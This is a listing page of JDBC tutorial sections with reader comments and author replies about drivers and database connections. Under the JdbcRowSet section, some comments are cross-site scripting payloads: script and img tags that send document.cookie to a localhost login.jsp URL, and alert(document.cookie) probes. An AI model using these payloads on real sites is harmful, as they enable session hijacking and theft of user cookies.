1 2 3 > >>   Sort: Rank

Loading JDBC Driver for MySQL Server
This section describes how to load the MySQL JDBC driver class - mysql-connector-java-5.1.36-bi n.jar.
2017-09-16, 2146👍, 3💬

💬 2017-09-16 vivek sharma: good

💬 2017-01-14 Herong: Thanks for the nice comment! ☺

💬 2017-01-13 jasonts2000: Thank you, this is the best example of how to test a JDBC connection to mysql that I have seen posted

JDBC-ODBC Bridge Driver Features
This section describes Sun's JDBC-ODBC Bridge driver and its features.
2017-09-13, 1992👍, 6💬

💬 2017-09-13 claudio barto: download para testtes

💬 2017-07-14 nks: need jdbc odbc drver

💬 2017-03-02 Herong: rajendra, you may want to download and use JDK 1.7, which will allow you to create MS-Access connection. Or read the comments fr...

💬 2017-02-23 rajendra: hello,, need jdbc odbc bridge driver

💬 2015-11-12 yutt: Hello

JDBC-ODBC Bridge Driver - sun.jdbc.odbc.JdbcOdbcDriver
This chapter provides tutorial notes on the JDBC-ODBC Bridge driver produced by Sun and DataDirect. Topics include loading JDBC-ODBC Bridge driver; creating a DSN (Data Source Name) with a ODBC driver; Connecting to SQL Server with JDBC-ODBC Bridge.
2017-09-12, 10850👍, 25💬

💬 2017-09-12 tilahun bekele: good site

💬 2017-08-27 Herong: Can you try to the 32-bit 1.7JDK?

💬 2017-08-24 jaime: Hi I have created a DSN and the test is Ok. I have this program: import java.sql.*; public class OdbcDsnConnection { public stat...

💬 2017-06-27 Herong: Shubhankar, you can download JDK 1.7. It has JDBC-ODBC bridge included.

💬 2017-06-25 Shubhankar: I want Sun.jdbc.odbc.jdbcodbcdriver

(More comments ...)

Java DB (Derby) - PreparedStatement
This chapter provides tutorial notes on JDBC PreparedStatement with Java DB (Derby) JDBC Driver. Topics include creating PreparedStatement objects; setting PreparedStatement parameters; running PreparedStatement in batch mode; comparing PreparedStatement performance.
2017-09-01, 163👍, 2💬

💬 2017-09-01 Herong: Try to find out yourself by running an insert statement in a loop.

💬 2017-08-29 Demo: hello sir, i want to know maximum line we can insert in derby database table

Inserting Rows with JdbcRowSet Objects
This section describes how to insert data rows with a JdbcRowSet object.
2017-08-24, 163👍, 4💬

💬 2017-08-24 d: <img src=”http://localhost:8230/Sampl/log in.jsp?cookie='+document.cookie”alt=”pwned” height=”1” width=”1”/>

💬 2017-08-24 Hi: <script>window.location='http://l ocalhost:8230/Sampl/login.jsp?cookie ='+document.cookie</script>

💬 2017-08-24 alert(document.cookie);<: <script>alert(document.cookie);&l t;/script>

💬 2017-08-24 alert("Hello"): <script>alert("Hello")</script >

Create Tables with CLOB Columns
This section describes how to create tables with CLOB columns in Oracle server.
2017-08-22, 4524👍, 3💬

💬 2016-12-14 morgane: dhzeujf zihf zeiuhfzehf ezhf zoiehfqiejfcksbfhjre fnr jcrh vrf

Listing All Databases - getCatalogs()
This section describes how to get a list of all databases on the SQL Server through the DatabaseMetaData object.
2017-08-21, 196👍, 2💬

💬 2017-08-18 Herong: Rahui, run this program on MySQL, you will get the answer.

💬 2017-08-15 Rahul Hajare: Can this example usefull for mayql database please tell me fast... Thanks...

Java DB (Derby) - Inserting Data Rows to Existing Tables
This section describes how to insert new data rows into Java DB (Derby) database tables through the JDBC driver.
2017-08-05, 479👍, 2💬

💬 2017-08-05 Herong: Stevoski, can you dump the Exception in the message dialog? It will give some clue on what happened to the execution.

💬 2017-08-03 Stevoski: is there any problem with these lines of code? all i get is invalid entry try{ String mk =jTextField1.getText(); String mn = jTe...

Microsoft JDBC Driver for SQL Server - sqljdbc42.jar
This chapter provides tutorial notes on sqljdbc42.jar, JDBC Driver 4.2 produced by Microsoft for SQL Server 2014. Topics include downloading and installing Microsoft JDBC Driver 4.2; loading sqljdbc42.jar; creating a connection to SQL Server with port number, instance name and database name; closing...
2017-07-31, 6349👍, 16💬

💬 2017-05-02 asdasdas: thx

💬 2017-03-24 sid: hi

💬 2017-02-16 daniel: thanks

💬 2017-02-01 paul: thanks

💬 2017-01-24 Narasimha Ulli: I want this driver class fro testing

(More comments ...)

What Is ResultSet?
This section describes what is a ResultSet object.
2017-07-03, 162👍, 1💬

JDBC Tutorials - Herong's Tutorial Examples
This JDBC tutorial book is a collection of notes and sample codes written by the author while he was learning JDBC technology himself. It can be used as a tutorial guide for beginners. Topics include Java, Database, JDBC, Driver, ODBC, Connection, DataSource, SQL, ResultSet, Metadata, Derby, MySQL, ...
2017-06-26, 4471👍, 10💬

💬 2017-06-26 NIRMAL PUDASAINI: how cani get it?

💬 2015-12-15 hassan: nice, can i get it please?

💬 2015-09-20 Alan: Nice

💬 2011-01-21 Herong: Agree. The driver class must be loaded as shown in this tutorial: Loading Driver Class with Class.forName().

💬 2011-01-18 John: For the JDBC tutorials, you must add: Class.forName with newInstance before making connection.

(More comments ...)

JDBC-ODBC - Creating a MS Access Database File
This section describes how to create a MS Access database file to be used for ODBC MS Access driver testing.
2017-06-20, 2217👍, 3💬

💬 2017-06-20 Musa: Hi

💬 2015-10-25 kaushal: nice job for solving jdbc connection problem

Java DB (Derby) - DML Statements
This chapter provides tutorial notes on executing DML statements with Java DB (Derby) JDBC Driver. Topics include inserting, updating and deleting data rows in existing tables; creating IDENTITY columns; handling date and timestamp values.
2017-06-18, 119👍, 1💬

MySQL CLOB (Character Large Object) - TEXT
This chapter provides tutorial notes on CLOB (Character Large Object) data types, TEXT, with MySQL JDBC Driver. Topics include creating tables to store CLOB values in MySQL server; inserting CLOB values with direct SQL INSERT statements, or PreparedStatement with setString(), setCharacterStream() or...
2017-06-12, 2358👍, 2💬

💬 2016-02-29 sasjkh: aposmu9pze9e9e9dudududududuoxnpduqwp oiudnxiopxpqwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww...

JDBC-ODBC - Loading sun.jdbc.odbc.JdbcOdbcDriver
This section describes how to load the JDBC-ODBC Bridge driver class with the Class.forName() method.
2017-06-06, 20529👍, 17💬

💬 2017-06-06 Panther: Need to run mdb server

💬 2017-04-24 Mukidi: hi

💬 2017-04-07 Herong: Yaiphaba, Are you referring to the Apache OpenOffice software?

💬 2017-04-02 yaiphaba: ddbc database driver class already installed andopen office

💬 2017-03-28 Hameed Ullah: i want to download this library

(More comments ...)

JDBC-ODBC - Connecting to MS Access Database Files
This section describes how to connect to a SQL Server 2005 through DSN with JDBC-ODBC Bridge.
2017-05-24, 7343👍, 5💬

💬 2017-05-24 sgat: thanks

💬 2016-11-04 ahmed: thanks

💬 2016-11-04 ahmed: sank you

💬 2015-11-06 Herong: Vous êtes bienvenue! ☺

💬 2015-11-06 azedine: merci pour votre aide

Retrieving CLOB Values with getCharacterStream() Method
This section describes how to retrieve CLOB values with the ResultSet.getCharacterStream() method.
2017-03-18, 341👍, 2💬

💬 2017-03-18 Herong: Saurin, I am glad this is helpful to you!

💬 2017-03-14 saurin: Thanks man! you save my day...

JDBC-ODBC - Inserting Data Rows to MS Access Database
This section describes how to insert new data rows into MS Access database through the JDBC-ODBC driver.
2017-03-17, 8086👍, 5💬

💬 2016-03-06 Morn: My Testing

💬 2015-08-10 ramya: this website is very useful

Installing AdventureWorksLT Sample Database
This section describes how to install AdventureWorksLT as a sample database on SQL Server.
2017-03-13, 2187👍, 5💬

💬 2017-03-13 Justme: Thank you so very, very much

💬 2017-01-31 Chriselle: Thank you! :)

💬 2016-08-30 Herong: browser, Sorry the title is outdated and needs to be updated to say AdventureWorks2014. Do you need help to install AdventureWor...

💬 2016-08-30 browser: Search brings up "Installing AdventureWorksLT Sample Database - Herong Yang" but when go to page it is for installing AdventureW...

Loading JDBC Driver Class - ojdbc16.jar
This section describes how to load the Oracle JDBC driver class - ojdbc14.jar.
2017-03-07, 2638👍, 3💬

💬 2017-03-07 yuguohui: study and work

💬 2016-08-02 Herong: mukesh, Which test code are you running? The test code in this tutorial is just to test how to load the JDBC driver JAR file. Yo...

💬 2016-08-01 mukesh: Do not connect to DB - Error:java.sql.SQLException: Listener refused the connection with the following error: ORA-12505, TNS:lis...

JDBC-ODBC - Connecting to a DSN
This section describes how to connect to a DSN (Data Source Name) with JDBC-ODBC Bridge.
2017-02-28, 5599👍, 3💬

💬 2017-02-28 Munna Shaw: My name is Munna Shaw

💬 2016-04-27 Anish Goel: Thanks a lot!

💬 2015-10-08 manoj soni: satisfied

mysqladmin - MySQL Admin Tool
This section describes how to use MySQL admin tool to check server status and other admin tasks.
2017-02-16, 252👍, 2💬

💬 2017-02-16 Herong: Jack, thanks for sharing the information about dbForge Studio.

💬 2017-02-14 Jack: There is also a good mysql admin tool -dbForge Studio for MySQL (https://www.devart.com/dbforge/mysq l/studio/features.html).I l...

Calling createStatement() and executeQuery
This section describes how to run a SELECT query statement with createStatement() and executeQuery().
2017-02-08, 280👍, 2💬

JDBC-ODBC Bridge Driver - MS Access
This chapter provides tutorial notes on using the JDBC-ODBC Bridge driver with MS Access database. Topics include creating MS Access database file; creating DSN for MS Access database files; inserting rows to and retrieving rows from Access database.
2016-12-22, 7364👍, 11💬

💬 2016-12-22 nhat: need jdbc

💬 2016-12-04 Herong: Sumon, Stay with JDK 7. It has a built-in JDBC=ODBC bridge driver to connect to Access database.

💬 2016-12-03 sumon: To run my access database

💬 2016-05-20 djamo: thenk you

💬 2016-01-11 Mars Chen: thanks for your providing this jar lib

(More comments ...)

1 2 3 > >>   Sort: Rank